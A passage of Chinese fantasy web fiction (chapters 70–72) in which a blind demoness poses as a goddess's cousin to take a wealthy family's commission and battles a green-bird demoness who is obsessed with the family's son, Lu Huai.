陈小秀脸都吓白了,勉强鼓起勇气颤着声音问道。 “不是啊。” 阿姮稍稍侧过脸,循着声音传来的方向,幽幽道。 陈小秀心都要跳到嗓子眼儿了,她根本不敢看那道裂口里若隐若现的那双红色的眼睛,什么话也说不出了,那陈小山大着胆子开了口:“你不是娘娘,那你是谁?这么小的口子,你是怎么进去的?” 阿姮皱了皱眉:“崽子,告诉我,我现在在什么地方?” 陈小虎看她那双眼睛好一会儿,偷偷对陈小山道:“她好像看不到……” 陈小山没听清:“啥?” “我说她好像是个瞎子!” 陈小虎说完,又发觉自己声音有点大了,他转过头,被那双暗红的眼睛吓得一个激灵。 “你……你是妖怪吗?” 陈小山问道。 阿姮微微一笑:“是啊,我是妖怪。” 三个小孩顿时吓得不轻,他们连忙爬起来就要跑,却发现红雾如缕环绕在他们周身,随后,他们听见那栖身在神像裂缝中的妖怪慢悠悠道:“好没礼貌的崽子,我问你们什么,你们还没答呢,不知道人类小孩儿会不会比这只烧鹅更好吃……” 陈小山腿不由自主地发抖,陈小虎更是抖得想尿尿,陈小秀满头都是冷汗,她僵硬地转过身,说:“这是……这是九仪娘娘的庙。” “我知道,我是说,我在什么里面?” 阿姮听他们谈话便知道这是九仪的庙,但她看不见,也不知道自己之前惊慌之下藏在了哪儿,那绿衣女竟然真的没发现她。 “你在……九仪娘娘的神像里面。” 陈小秀嘴唇哆嗦。 阿姮一顿,没明白自己怎么会钻到九仪的神像里,那陈小山害怕极了,说道:“妖怪姐姐……你能不能别吃我们?你很饿吗?饿的话,我……我娘做的饼很好吃的……” “我娘做的馒头也挺香的……” 陈小虎小声说。 “饿?我为什么会饿?” 阿姮说道。 “你要是不饿的话,为什么那么大一只烧鹅你都吃了……”陈小秀忍不住说道。 阿姮怎么会饿呢? 可是她的嗅觉和味觉回来了,连带着她肚子也觉得有点空空的,阿姮没太考虑这些,她对那只烧鹅还有点意犹未尽:“饼子没馅儿,馒头没味儿,到底哪里好吃了?喂,我要吃烧鹅。” “我,我们家没鹅了……” 陈小秀心惊胆战地撒谎。 “哦。” 阿姮缓缓说道:“那我吃小孩也行。” “有!” 陈小山一个激灵:“她家!她家有好多只鹅!” 陈小山拉住陈小虎和陈小秀:“我们这就回去给你带烧鹅来!” 三个小孩立马朝庙门跑去。 阿姮才不信他们会回来呢,她也就逗逗这几个小崽子,她扯扯唇:“我不管你们会不会真的回来,但你们给我记住了,要是敢向你们的父母,或者是那些臭秃驴臭道士透露我的事,我一定把你们三个都吃了。” 小孩不经吓,三个孩子浑身一抖,连忙回头作揖:“不说!我们绝对不说!” 阿姮听到三个小孩慌里慌张跑出去的步履声。 那些声音很快远了。 “想不到,你现在也知道害怕了?” 忽然,阿姮听到这样一道声音,这声音从她识海来,是万木春。 “真没见过你这样的神物,主人狼狈至此,你却只知道挑着时候出来说风凉话不成?”阿姮冷哼一声。 要不是它真算个宝贝,阿姮早把它这根烂木枝丢了。 “你弱,我便弱,这是你的问题啊。” 那道女声慢悠悠道。 “……”阿姮气得不轻,“你这么不趁手的东西,我早晚扔了你!” “别生气啊。” 那女声笑道:“你虽掌握了那蛇妖碧瑛的行炁道法,却因自己的特殊本源而无法贯通,你很聪明,知道用万木春的金电来一缕缕结成你身体里的脉络,而他赐给你的天火咒正好可以用天火融化你本源过盛的戾气,使你的本源与金电结成的脉络彻底相融,你有慧心,也对自己足够狠心,将来,你会更强大的。” “你也不要太担心他,他暂时还不会死。” “我不要暂时。” 阿姮下意识地抱紧布娃娃。 “你现在是个瞎子,你强行冲破躯壳不成,反倒本源受损,如今正该好好恢复,你现在出去,不怕那酆水水伯找到你?” 那女声说道。 正如她所说,阿姮为了想要尽快赶到赤戎入口,最初甚至不惜要将这副小神仙送给她的壳子给毁掉,反正她从前没有本相,只有本源如雾般飘荡,她就是化成雾托着她,也要找到赤戎。 但不知道为什么,她竟然无法冲破这副壳子了,触觉回来之后,她先将噬骨的剧痛尝了个遍,却怎么也破不了这壳子的束缚,没办法,她才开始尝试利用万木春的金电在她体内塑造起连绵的脉络,想要通过对炁的感知,去冲破五感的束缚,重新感知一切。 阿姮好一会儿没说话,她想起自己在九仪的神像里:“喂,是你把我弄到这尊神像里来的吧?” 她那时五感都不清晰了,根本不知道自己是怎么藏的,如今细想之下,她发觉在她慌乱的那时候似乎有什么推了她一把。 “举手之劳。” 那声音道。 阿姮才没有要谢她的意思,她扯了扯唇,想起岐山上那惠山元君说过的一些关于九仪的话,她此时在九仪的神像之中,手也不知触摸了哪儿,满手都是泥灰:“我听那个惠山元君说,你的主人九仪曾经爱上了什么天衣圣子?天衣圣子是什么?” “天衣神族最后的储君。” 那声音答。 阿姮也没明白什么储君不储君的,她对九仪真是充满了好奇:“那九仪为什么会喜欢他?哎,他长得好看吗?” “小孩子家家,问那么多做什么?” 那女声不紧不慢:“你在好奇什么?好奇‘情’这个字吗?” “我不能好奇这个字吗?” 阿姮反问。 “你当然可以好奇,并且,你也可以拥有。” 那声音说道。 拥有? 阿姮不太懂情,但她觉得人间的情似乎分很多种,多到她根本理也理不清楚,她正要再问些什么,却听见很多杂乱的步履声。 阿姮心头一紧,顿时警惕起来。 那些人很快进了庙门,有人见地上灰尘多,便立即拿扫帚清扫地面,还有些忙活着往香案上摆上新鲜的瓜果。 “那老法师说的果真是午山?” 路上走得急,那身穿锦衣的中年男人一边擦汗,一边喘着气问身边的管家。 “千真万确啊老爷!” 管家说道:“王家村的人都这么说,那老法师会看炁,是那老法师亲口说是午山吸去了好多的浊气,所以才停了暴雨。” “快,快点香!” 那老爷说着,见奴仆将香点好,他立即亲手奉到香炉里,随后俯身大拜:“九仪娘娘,请娘娘宽恕我陆镇安此前不知午山上有座娘娘庙,这些年从未来此奉过香火,听闻娘娘在此显灵,弟子恳请娘娘救救我儿陆淮!他被那绿雀妖缠身不得已出家为道士,至今仍不得解脱,娘娘,若娘娘大发慈悲救下我儿,弟子愿为娘娘重塑金身,重修这午山庙宇!” 阿姮漫不经心地听着。 直到,她听见“重塑金身”这四个字。 金身塑像,一定耗费颇多吧? 这似乎是个很有钱的家伙。 阿姮抱着布娃娃,眼珠一转。 “娘娘,弟子愿一生一世供奉娘娘!请娘娘显灵!” 那陆老爷还在磕头,忽然间,庙宇中一阵风起,柱子边的帘幕飘飘荡荡,陆老爷抬起头来,正是此时,他听到一道轻缓的女声幽幽响起:“一具泥胎塑像,如何能听得懂你的恳求?你这么可怜的话……那我来帮帮你如何?” 陆老爷与仆从们皆是一个激灵。 那管家兴奋地喊道:“娘娘真的显灵了!” 此时,众人只见一阵红雾在庙中缓缓浮动,那陆老爷又听见那道女声:“不过,你能给我什么呢?” 陆老爷激动得冒出一头汗,他张嘴:“娘娘……弟子……弟子别无他物,唯有丰厚家资,可这些凡俗的金银财宝也不敢玷污娘娘……” “好。” 那女声忽然打断他:“就要金银财宝。” 陆老爷愣住了:“……啊?” 此时,红雾如缕,逐渐在神像旁凝出一道少女身影,她乌浓的长发挽得实在凌乱极了,那根焦黑的木簪在她发间开着鲜红的山茶,她眼波似水,哪怕是一张脸脏兮兮的,也掩盖不住她艳丽的容貌。 她一身被火燎过的衫裙,看起来那么狼狈,怀中却抱着个干干净净的布娃娃,那个布娃娃漂亮极了,身上缀满了亮晶晶的珠饰。 陆老爷细看她那双漆黑的眼睛,发现竟然没有半点神采。 “你……是谁?” 陆老爷怎么也不肯信,九仪娘娘会如此……不修边幅,难道是这间庙宇太小,这尊泥塑神像年久失修的缘故,所以连累了娘娘的本相? 阿姮微微偏头,似乎在感知神像的方向:“我嘛……” 随后,她抬手摸了摸发间的万木春,轻抬下巴,笑盈盈地说道: “我就是九仪娘娘的表妹,十仪娘娘。”《 》 70-75 第71章 第71章 “爱?” 色彩斑驳的神像始终垂眉, 神情慈悲,这间九仪娘娘庙实在窄小又四面漏风,风吹得柱子上的帘幕飘动,厚厚的尘灰散开, 挤在庙中的众人又是打喷嚏, 又是咳嗽。 “十……十仪娘娘?” 那陆老爷鼻涕都差点打出来, 又怕在神明面前无状,连忙用衣袖捂住口鼻,再小心端详那少女, 偷偷问身边的管家:“你听说过吗?” 管家一脸懵:“……这, 老爷, 小的长这么大, 也没听说九仪娘娘有个什么表妹……这十仪娘娘的名号,也从未听说……” 非只管家, 庙中的一干奴仆任谁不是一脸迷茫, 没明白这午山上小小一座九仪娘娘庙里,哪蹦出来个十仪娘娘……她是没有自己的庙宇吗? “没听过我的名号, 只能说你们实在是孤陋寡闻。” 阿姮稍稍侧过脸, 双眸明明无神, 却精准断出那陆老爷的方位:“你叫陆什么来着?你来此苦求神明显灵, 不就是为了想要除掉那个缠着你儿子的妖物?” 陆老爷闻言, 顿时没功夫再计较到底有没有十仪娘娘这号神仙,真神假神,能除掉那害人的妖精就是好神, 陆老爷连忙作揖:“娘娘,娘娘说得是啊!弟子陆镇安,家住松南岭饮香驿, 弟子与夫人多年只有一子,名陆淮,我儿陆淮从小敏慧,他八岁时忽然对我与夫人道,有一雀妖纠缠于他,他不愿连累我夫妇,所以坚持远赴赤霞山出家为道……弟子原本是不信的,可奈何淮儿太过执拗,弟子只得送他去了赤霞山。” 阿姮问道:“你们可亲眼见过那雀妖?” 那陆老爷连忙摇头:“倒是不曾见过,一月前,弟子府上看门的门子发现铜扣上压着一支翠绿的羽毛,他随手摘下来,却听到一道声音,说是个女子的声音,门子吓坏了,跑来报我,说那声音让弟子给淮儿写家书,让淮儿回来,否则,她必要我陆家满门性命……” 回忆起这些事来,陆老爷脸色都有些发白:“弟子这才知道淮儿说的是真的,果真有个雀妖在纠缠他,自那时起,松南岭便妖祸频发,总有年轻男子被割去头颅,弟子不敢给淮儿写家书,便让管家到处去请法师,请道士来此收服妖怪,林林总总,前前后后都快百来人了,却始终无人能将那妖怪收服……弟子实在是没有办法了,所以一听说妖雨消散是因为这午山上的娘娘庙显灵,便连忙赶来……” 陆老爷扑通一声跪下:“娘娘,若娘娘真能收服那妖怪,保住我儿性命,弟子必定为娘娘塑金身,修庙宇!弟子愿终生供奉娘娘!” 阿姮又不是真的神仙,才不吃这些香火供奉,她听完这陆镇安竹筒倒豆子似的一番因果,想起来那个雨夜林中的绿衣女。 这间庙宇年久失修,四面八方都有风透进来,阿姮迎着庙门的方向抬眸,风中还隐约残留血腥味。 那夜,那些道士就死在这庙门口。 阿姮五感尽失,最初的慌乱过后,她便强迫自己镇定下来,反正在拥有霖娘的五感之前,她本就无形无相,只依靠本源感知一切,如今纵然她本源的感知也丧失完全,但她也并不十分气馁,而开始试着借由自己特殊的本源来吸取无处不在的炁,碧瑛教给她的行炁道法让她少走了很多的弯路,她借着炁去感知外界,发现此地清浊严重失衡,所以她才不取清气,只取浊气。 奇怪的是,那些道士在庙门外死后所化成的清气却因此而涌向她,它们仿佛饱含着它们的主人生前所有的意志,义无反顾地向她而来,为她所用。 他们的清气被她吸取,他们的尸体也应该因此而化于无形了,所以那几个小孩,甚至是这为陆老爷和他的家仆们谁也没发现庙门外死过人。 阿姮不明白那些道士们的清气为什么上赶着要成为她的东西,但他们怎么说也算是帮了她一把,那她为他们报个仇,也算举手之劳了。 天色渐渐暗下来,没有雨声搅扰,这也算得是一个安安静静的晴夜,陆府是一座十分精巧的小园子,夜里各处纷纷点上了灯,园中草木葳蕤,水浪清澈,灯影相映,意趣斐然。 东边的角门一开,陆老爷和夫人匆匆披衣起身出了屋子,在廊庑上,他们正好看见一个素衣青年从那角门走了进来,陆老爷还在发愣,他身边的夫人先红了眼眶,忙跑下台阶:“淮儿……是我的淮儿回来了么?” 夜风忽起,角门下两盏灯笼临风晃荡,白墙上松竹阴影胡乱婆娑,那素衣青年站在那片松柏浓影之间,挺拔的身影在平滑的地砖上被斜斜拉长。 婢女匆忙跟在陆夫人身后,手中纱灯随步履晃荡个不停,陆夫人很快到了门边,一把抓住那青年的手。 青年似乎顿了一下,抬起眼帘,看向满脸是泪的陆夫人:“娘,是淮儿。” “真是淮儿……” 陆夫人仍紧紧抓住他的手,目光一下落在他腰间的玉佩,不由哽咽道:“你八岁就上了赤霞山,这么多年咱们娘儿俩再没见过,若不是这枚玉佩,娘……娘都认不出你了……” “是孩儿不孝,多年未能侍奉在娘跟前。” 青年垂眸,婢女手中的纱灯朦胧映出他脸上的惭愧。 陆夫人摇摇头,泪怎么也止不住,正要说话,却见他身上斜挂着个小小的布兜,兜子里也不知装着什么,陆夫人没看太清,那陆老爷匆匆过来,见到儿子,眼眶顿时也湿润了:“淮儿,你这个时候回来做什么?你知不知道那妖怪她……” “我知道。” 那陆淮在松柏影下,轻声打断陆老爷,道:“爹,我从前避出松南岭,便是怕那妖怪牵连二老,但如今看来,她不会放过我,自然也不会放过你们,何况如今到处是妖祸,我披星而来,便是要接您二老随我前往赤霞山。” “去赤霞山?这……” 陆老爷说着,与夫人相视。 “爹娘不必担心,儿子此番回来,已事先求得师父应准,师父知道我的苦衷,所以允许我回来带你们上赤霞山暂住,山上有诛妖伏鬼大阵护持,那妖怪没胆子上山。” 陆淮说道:“事不宜迟,还请爹娘快些收拾行装,这便随儿子离开……” “好好好……” 陆老爷连声应,这便要喊家仆收拾箱笼,却忽然见面前的儿子脸色似乎有些不太对,没了人语,此间竟无一声,出奇的死寂。 陆淮抬眸,松柏的影子轻轻拂过他的下颌,陆老爷和陆夫人不禁顺着他偏向的方向看去,只见不远处石桥飞跨水面,对岸小轩灯火昏暗,几簇碧意浓烈的茂盛树木之见,夜风轻轻穿过,树影微微晃动。 忽然间,一缕轻薄的绿纱自树干垂下来,随风轻轻摇荡,陆老爷的目光循绿纱而上,见树影中,影影绰绰,似卧一女,淡黄色的锦缎缠裹住她胸腹,月白的裙摆自树干垂落,她雪白的双肩几乎全部裸露,仅有绿纱堪堪遮掩,她云鬟高耸,点缀粒粒珍珠,鬓边又有几簇碧绿的羽毛,又簪一支凤钗,钗上珠光明亮,波光粼粼,垂下来的流苏缀着粒粒碧莹莹的宝石,璀璨的珠光似乎使得她的脸更加模糊,只有卧在树干上的那副身姿实在婀娜,她手中的绢纱团扇轻轻摇晃着,园中不知何时涌起来淡淡的雾气。 “陆郎……” 隔着水岸,那娇细的女声实在如黄莺一般,好似嗔怪,随淡白的雾轻轻飘来几人耳畔:“妾等了你好久,你怎么才回来,这便要走呢?” “妖……” 陆老爷嘴唇抖动,险些站不住:“妖怪来了……” 陆夫人亦吓得面无血色,在陆老爷怀中摇摇欲坠,几个婢女家仆全都白了脸,腿软得厉害。 那枝干并不粗壮,可绿衣女的身姿实在是太轻盈了,就像是一只鸟儿那么轻轻地落在枝上,枝条一点没有被压弯。 她垂眸看向对岸树下的那个青年,瞬息之间,一柄金剑破空而来,绿衣女翻身而起,脚尖轻点浮动的绿纱,轻飘飘落到檐上,见那金剑瞬间回到对岸那青年手中,而她方才待过的那棵树枝干坠落下去,残留的剑气使得树叶纷纷迎空而动。 “看来陆郎在那赤霞山上的确学到了些真本事。” 绿衣女赤足而立,绿纱飘飘,她垂着眼帘,爱恋似的看向那片树影中的青年:“你的剑这样凶,看来是真的想杀了我……可陆郎,从前我们好的时候,你明明说过会永远爱我,永远不伤害我。” 她的语气十分幽怨。 “爱?” 松柏之下,青年口吻淡淡地揉捻这个字:“爱你这个浑身鸟毛的东西么?那挺恶心的。” 绿衣女的笑容一凝,她在这般好月色下紧紧盯住那道身影,半晌,道:“多年未见,这一世的你嘴怎么这样毒呢?是赤霞山上那些餐风饮露,全无意趣的臭道士教得你这样么?妾还没找到你,你便先躲去了赤霞山,可见你都记得,记得我们之间的一切,既然如此,阿淮,你也该记得,是你负我,是你伤了我的心……” 绿衣女环视水岸,瞥过那对瑟瑟发抖的夫妇:“赤霞山上的诛妖伏鬼大阵确实不好惹,但你今日既下得山来,便不要再回去了,淮郎……” 好似亲密的耳语,她的声音那么甜腻:“只要你留在我身边,你还是我的好淮郎,你的爹娘,我都可以放过,好不好?” 松柏之下静无人声,金剑骤然出鞘,剑气纵横,绿衣女的绿纱好似双翼般轻易将她托起,及时避开一道劈来的剑气,她俯身之际,细长青黑的秀眉一拧:“看来淮郎你是敬酒不吃,偏要吃罚酒了……” 她飞身掠向水岸,金剑却迸发道道金电,绿衣女闪身避开,身姿若鸟般灵动,她的神情终于阴沉下来,绿纱飞过水岸,探向树影之下,剑光一闪,裂帛声起,断裂的绿纱回落到绿衣女的身边。 “躲好。” 陆淮对陆氏夫妇简短嘱咐,见他们和那几个婢女家丁都退到廊庑上去,他手指一抬,金剑连化数道剑光涌向绿衣女,绿衣女扬手挽起绿纱,纱影回旋,如雾如风,吞没剑光,她足尖点过水面,落到水岸边,娉娉而立,灯火终于照出她的那副模样。 细眉若蹙,眼波粼粼,实在丰韵殊绝。 打眼一看,若不是她眼尾有一层淡淡的绿色,隐隐闪动细碎的光,她这副容貌一点也不妖丽,反而灵动脱俗极了。 “淮郎,我好想你啊……” 她唇边含笑,小扇轻摇:“快让我……看看你吧。” 陆老爷和他的夫人蜷缩在廊庑上,只见一片绿纱飞浮,剑影如织,陆老爷额头全都是冷汗,他的心脏极速跳动,树影在雪白的墙面上张牙舞爪,那片浓密的树荫下暗红的雾气越来越浓,金电缠裹其中滋滋作响。 绿衣女被金电灼伤的同时,她手中绿纱飞出终将那青年逼出树影之下,绿纱绞断了青年身上的布兜,里面有什么掉了出来,却被青年一把抓住。 绿衣女抬眸看向那人,像是忽然察觉出来什么,神情冷了下来,全然显露妖态:“你不是陆淮。” 那青年站在一片昏暗的光影里,分明是个男人的模样,可他的那张脸却并非是绿衣女心心念念的那张脸,而是一张她从没见过的脸。 他怀中抱着的那个东西,原来是个布娃娃,那娃娃浑身缀满珠饰,发丝银灰,被灯火一照,如丝缎般莹润泛光,看起来十分漂亮。 这一幕实在诡异。 更诡异的是风中不知何时涌起层层红雾,令绿衣女无比陌生的那张脸上浮出一个意味不明的笑容,那一点也不像是一个男人的笑容。 很快,雾气融化了那副五官,缓缓显露出其真容,连带着身形也有了变化。 绿衣女眼睁睁看着他从一个身形高大的男人脱去伪装,瞬息之间化成一个少女,乌发素衣,双眸暗红。 “可惜这里谁都不知道陆淮长什么样,不然我也不至于现在就露了馅。” 阿姮的手指勾着怀中布娃娃的一缕发丝,语气颇为惋惜。 她轻抬手指,那柄金剑回到她手中,金光弥散开来,一柄威风凛凛的玄门宝剑顿时化成一截焦黑的枯枝。 绿衣女看了一眼自己臂上被金电灼出的伤口:“你也是妖。” “你说我是,我便是么?” 阿姮慢悠悠道:“我是九仪娘娘的表妹,今日,便是受人所托来捉你的。” 什么九仪的表妹? 绿衣女微微眯起眼眸,她可以断定自己伤口上残留的就是妖气,但她没明白这个妖邪为什么要冒充神明,还来捉她? 绿衣女嗤笑:“你我同类,何必相残?” “我却没有和一只臭鸟做同类的习惯。” 阿姮暗红的眸子一抬:“少跟我攀亲。” 绿衣女此时方才发觉她那双眼睛竟然一点神采也没有,似乎是个全盲,绿衣女缓缓起身,说道:“真有意思,陆家找和尚道士来除我还不够,今日又找了个妖来……也算神通广大了,既然你不是淮郎,那我也不必留有余地了!” 绿衣女话音方落,绿纱带起岸边灯火砸向阿姮,阿姮双眼明明无法视物,却仍能精准辨别方向,那些灯笼还未接近阿姮,便被红雾中勾缠的金电给劈了个粉碎。 两妖相斗,风雾无边,这园中花木几乎尽数摧折,陆氏夫妇在廊庑里根本不敢冒头,绿纱穿雾挽住万木春的枝尖,阿姮反手割破绿纱,借由风中炁的流动,她很快辨清浊气浓重之处,飞身掠去,势如破竹。 绿衣女吃了一惊,翻身躲避,却仍被密织的金电灼伤腹部,她连退数步,心中凛寒,也不知这女妖是个什么来历,只觉其实在诡异,她明明不能视物,但好似这风中的清气浊气都在为她辨位。 这无端令绿衣女觉得十分可怕。 绿衣女微微张口,一样东西飞了出来,悬在半空,那东西飞速转动,闪烁着森森紫光,阿姮什么也看不见,但她敏锐地察觉到风中炁的变化。 绿衣女低声念着些什么,阿姮听不太懂,却感觉得到她语气中的急迫,急迫中也不免其狂热的虔诚。 风中很安静,阿姮甚至听见树叶掉落的声音。 也正是这一瞬,风中的炁又变了,阿姮立即扬手,万木春的枝尖劈开数道气流,尖啸刺耳,那气流竟然凌厉非常。 空气中有种味道,阿姮总觉得那味道很熟悉。 悬在半空中的那东西颤动着,发出一道又一道的铃音,刺得人耳朵生疼,廊庑上陆氏夫妇早已疼晕过去,这园子里充斥着雾气,灯火几乎全部灭去,绿衣女一把握住那东西,那东西像生出数张大口,咬破她的皮肉,吮吸她的鲜血。 绿衣女却轻声笑着,绿纱飞出,罡风四起,涌向阿姮。 阿姮扬起万木春辨清方向正要迎上去,此时,角门被阵阵强烈的风卷着在墙壁上碰撞,发出“砰砰”的声响。 浓浓的烟雾中,角门外不知何时出现一道身影。 那个人一步,一步地走进来。 冷冷的月光照见他高大的身形,猎猎的衣袍,他穿过那片雾,踏过地上的残枝,月光照着他背后那柄白玉长剑,剑柄处垂下来的穗子随着他的步履一荡一荡。 昏暗的光影中,绿衣女望见那张年轻的面容。 天边隐隐有神明织就的雷电密网闷声作响,明月高悬,冷光如织,绿衣女娇艳的面容难掩欣喜,一双阴冷的眸子弯弯的,目光紧紧攫住那人的身影,她发出轻缓的,娇细的笑声: “阿淮,你来了。” 第72章 第72章 “阿姮,住手!”…… 年关才过, 园中还有些没换下来的红绢灯笼,凛冽的夜风吹得满园花木沙沙作响,红绢灯笼的光影在那青年背后摇曳,绿衣女的话音方落, 他背后的白玉剑锵然出鞘, 直逼绿衣女面门。 那剑乃白玉所造, 故而并无一般钢刀铁刃的凛冽之光,反而剑光温润,看起来更像是一柄用来供奉, 并无锋芒的礼器, 绿衣女似乎也这么想, 故而不避不让, 笑吟吟翘起白皙纤细的手指,绿纱飞出去轻易挽住白玉剑身, 下一刻, 剑身一震,戾气铺开, 罡风席卷, 裂帛声响。 绿衣女被那罡风震得后退几步, 她瞥了一眼地上那截被撕裂的绿纱, 薄纱被风吹起, 化为青色的羽毛被吹去水面,她不再笑了:“阿淮,你哪里来的如此凶剑?赤霞山不是座清心寡欲的道士山吗?你这剑气怎么如此暴戾?” 白玉剑落回到那青年手中, 穗子一荡又一荡,在旁未动的阿姮此时终于听见他的声音:“此剑,乃我专为你而铸。” 他的声音年轻, 低沉,若冷泉死水般的平静。 绿衣女抬眸凝视他手中那柄白玉剑,勾唇轻笑:“是吗阿淮,如此,足见你在那赤霞山上十七年,亦日日念着我,想着我了。” 此时,忽然响起一阵女子的清脆笑声,绿衣女循声看向那个眼盲妖女,那妖女自真正的陆淮出现后,便站在一旁没有动,此时一手抱着那布娃娃,轻抬苍白的下颌,精准地偏向绿衣女所在的方向,道:“鸟脑袋太小,果然容量不够,蠢得很,人家为你铸剑是要杀你,你倒还情意绵绵上了。” 绿衣女唇边笑意一滞,这瞎子妖女的嘴简直像淬了毒,绿衣女甚至怀疑她的本相莫不是个什么毒物,但绿衣女此时面上全无恼恨,她声音娇婉,悠悠对阿姮道:“妾在世三百年,什么世情没有见过,瞎子,你却还不懂这些。” 阿姮很讨厌绿衣女叫她瞎子,但她还没动手,便听见风中剑气呼啸,是那陆淮又动手了,他显然并不想和这绿衣女叙旧,出剑凌厉非常,阿姮站着没动,当场戏听,但越听,她越是借炁辨出那陆淮的剑气无比的暴戾,那实在不像是寻常玄门的法器,一般玄门通常以所谓德行,所谓慈悲立身修行,所持法器必然正气凛然,而陆淮此剑却暴戾凶蛮,他分明以清气立身,可那剑气却混浊阴寒。 “阿淮此剑……乃妖骨所铸?” 很显然,绿衣女与陆淮几番交手,也终于察觉出他这柄白玉宝剑的端倪,她鲜红的指甲暴涨几寸,截住那剑身,她美艳的脸上显露一分不可思议,望向面前之人。 他那双眼实在好看。 绿衣女还记得从前初见,他的这双眼睛清凌凌的,比那湖面波光还要醉人,可此时,他的这副神情实在太冷了。 她一点也不喜欢。 她鲜红的指甲轻轻擦过白玉剑身,冰裂似的声音接连响起,那是封印在此剑之中的妖魂感受到同类而发出的哀鸣,她过分白皙细腻的面容上却无一点怜惜:“一般妖类都有一根特殊的骨头,不同的妖承启贯通自身之炁的那根骨头也不同,有的在肋骨,有的在指骨,有的在脊骨……原来,你在赤霞山整整十七年,便是用这七七四十九根妖骨铸此凶剑,阿淮,你这样恨我。” 她倏尔抬眸,肩上的绿纱滑落下去,嫩黄的袜胸衬得她肌肤凝白,左侧一道粉色的狞痕十分突兀地蜿蜒而下,没入袜胸:“可你凭什么恨我呢?明明是你不好,是你食言,是你说要爱我生生世世,可到头来,你却刺我一刀,要我死,还要恨我……可惜阿淮,我不像你们人类,我的心脏不在左边而在中间,你刺错了地方。” “今日,” 陆淮与她相视,缓缓道:“必不会再错。” 园中夜风凛冽,廊庑上陆老爷夫妇和奴仆们仍昏迷不醒,绿衣女凝视着面前这个人,他的眼睛,他的言辞都是那么的冷漠。 可从前他并不是这样的。 绿衣女的本相乃是一只绿背山雀,经百年修行方化人形,她对人类充满了好奇,好奇他们是如何发现蚕之丝可以织为布,裁成衣,好奇他们是如何将山间野稻种成果腹的粮米,好奇他们是如何斫木成舍,砌砖为城……她喜欢极了人类世界的热闹,在其间嬉游百年,某个仲春时节,春花正盛之际,柯山湖畔,她遇见这淮郎。 “百年前,柯山初见,我领小婢在湖中嬉戏采莲,犹记湖上水雾漫漫,我一转身,便见一个傻小子愣在湖边,我一瞧他,他就像一只炸毛的猫,手脚都不知道往哪里放……他一整张脸都红了,弯身声声道歉,转过身子要跑,却一头撞在树上,我和小婢都笑他,越笑,他的脸就越是红得不得了,那天日头很好,照得湖面波光粼粼的,可我看到他那双闪躲的,不敢多看我一眼的眼睛,却觉得,他的眼睛比湖面的波光还要清澈,还要漂亮。” 绿衣女凝视着他的眼,追忆起来,那日湖上烟波动人,莲叶田田,藕花簇簇,她被那双好看的眼睛所吸引,上岸朝他走去。 他更加局促,垂下眼帘忙说:“对不住,姑娘,不知你们在此,多有冒犯。” 绿衣女见他衣衫虽旧,却十分干净整洁,怀中还抱着几卷书,她好奇地凑近:“哎,你是个读书人?” 他是个读书人,还是县衙里的主簿。 绿衣女遇见他之前还不知道什么是主簿,后来才知,原来是县衙知县老爷底下的官儿。 而那日她之所以会遇见他,是因为当地才遭过灾,为说服乡绅赈灾救民,他屡次上门皆不得见,后来听到个乡绅老爷们要在柯山上打猎的消息便忙跑上了山,可这不过是那帮乡绅老爷耍弄他的把戏。 “我常常下山去找他,他总是很忙,但我每回去,他都会备好我喜欢的甘果,后来我不住山上了,就待在他的书斋里,他总是一本正经地教我写字,我不喜欢那些,但我喜欢他认真的神情,为了多看看他这副模样,我竟然学会了不少的字。” 为了那些吃不起饭的灾民,他付出了很多很多,被乡绅捉弄,被县令为难,绿衣女还记得,有个瘦骨嶙峋的老翁在他面前饿死,他半夜临灯而坐,竟然偷偷落泪。 “阿淮,你还记得吗?我说我对这个世间有许多的不解,我想知道一只母鸡如何生蛋,你便买一只回来,和我一起蹲在鸡窝边看,可是那只鸡被我们看得很紧张,一颗蛋也没生出来,最后你偷偷去买了蛋放在鸡屁股底下骗我说是它生的,我想知道一粒种子怎么发芽怎么长大,你买来花种种在盆中,我却早没有那个耐心等它长大,开花。 后来某一日,我才惊觉窗边那盆兰花开得那么好,你照顾它,照顾得那么好,我无聊之时把你的书撕了玩儿,你也不生气,总是把我故意弄出来的狼藉一点一点收拾好……我问你,我是不是很奇怪,是不是好奇的事太多了,你说,有惑是一件很正常的事,人先有惑,而后才求解,求的解多了,便会少一分对这个世间的不解,你说你会一辈子为我解惑,永远不烦我,永远伴我……” 绿衣女话音未落,白玉剑身擦过她鲜红尖利的指甲,逼向她咽喉,绿衣女一掌打偏剑身,旋身落去不远处,绿纱随风轻飘飘而起,她看向掌心血红的伤口,再看那陆淮,她鲜红的指甲轻轻拂过胸口的狞痕,目光幽怨:“是你食言,阿淮,你明明说过会永远爱我,可我这道疤却是你给的,这是人类心脏的位置,你是真的想我死,至今,你仍不觉你的誓言可笑么?你们人类口口声声的爱,便是如此善变的东西么?” 阿姮在旁听了会儿,这听起来好像真是个痴情妖与负心郎的故事,她微微偏向陆淮所在的方向,若如绿衣女所说百年前的前尘往事他都记得的话,那他一定身怀执根。 如此说来,那孟婆可真是老眼昏花,这回她自己没收拾好这陆淮的执根,又去找谁给她收拾烂摊子?峣雨吗? 陆淮仿佛在听一个寻常故事,他白玉剑锋上沾了鲜红的血色,他瞥了一眼:“你这样的妖物,何时真正明白过什么是爱。” 他提剑而上,剑锋与那绿衣女的绿纱相接,他锋刃一转,刺破轻纱,剑气逼人,绿衣女以指甲抵住剑锋,血流如注,园中昏暗的灯火映照她阴冷的,非人的神情,她轻启红唇,闪烁紫光的东西飞出,立即迫不及待地落到她手心里贪婪吸食她的血液,此时陆淮离得近,她的手又正好抵在他的剑上,他看清那东西浑圆如珠,由层层赤金丝累成,其中紫光犹如一只眼,一闪一烁,即张目视人,那紫目不断吸食着血气,紫光更盛,而绿衣女的脸色则更加苍白,她周身的妖气却越发凌厉。 那东西明明无铃,却发出震耳的铃声。 紫目一眨,绿衣女周身黑气充盈,她侧身拂开白玉剑刃,一掌打在陆淮臂上,强烈的气流竟逼得陆淮踉跄后退数步。 也正是此时,阿姮抱在怀里的布娃娃似乎震颤一下,她连忙低眼看去,不知为何,布娃娃身上散出淡淡的光,阿姮无端读出一种警惕的意味,她再辨风中那绿衣女的方位,似乎又有了那股熟悉的气息,那气息更浓,此时阿姮猛然反应过来。 火种…… 那竟然是火种的味道! 幽幽紫光衬着缕缕黑气,绿衣女扬起惨白的脸,不顾那紫目的贪婪,将其攥入掌中,她望着那白衣玉剑的青年。 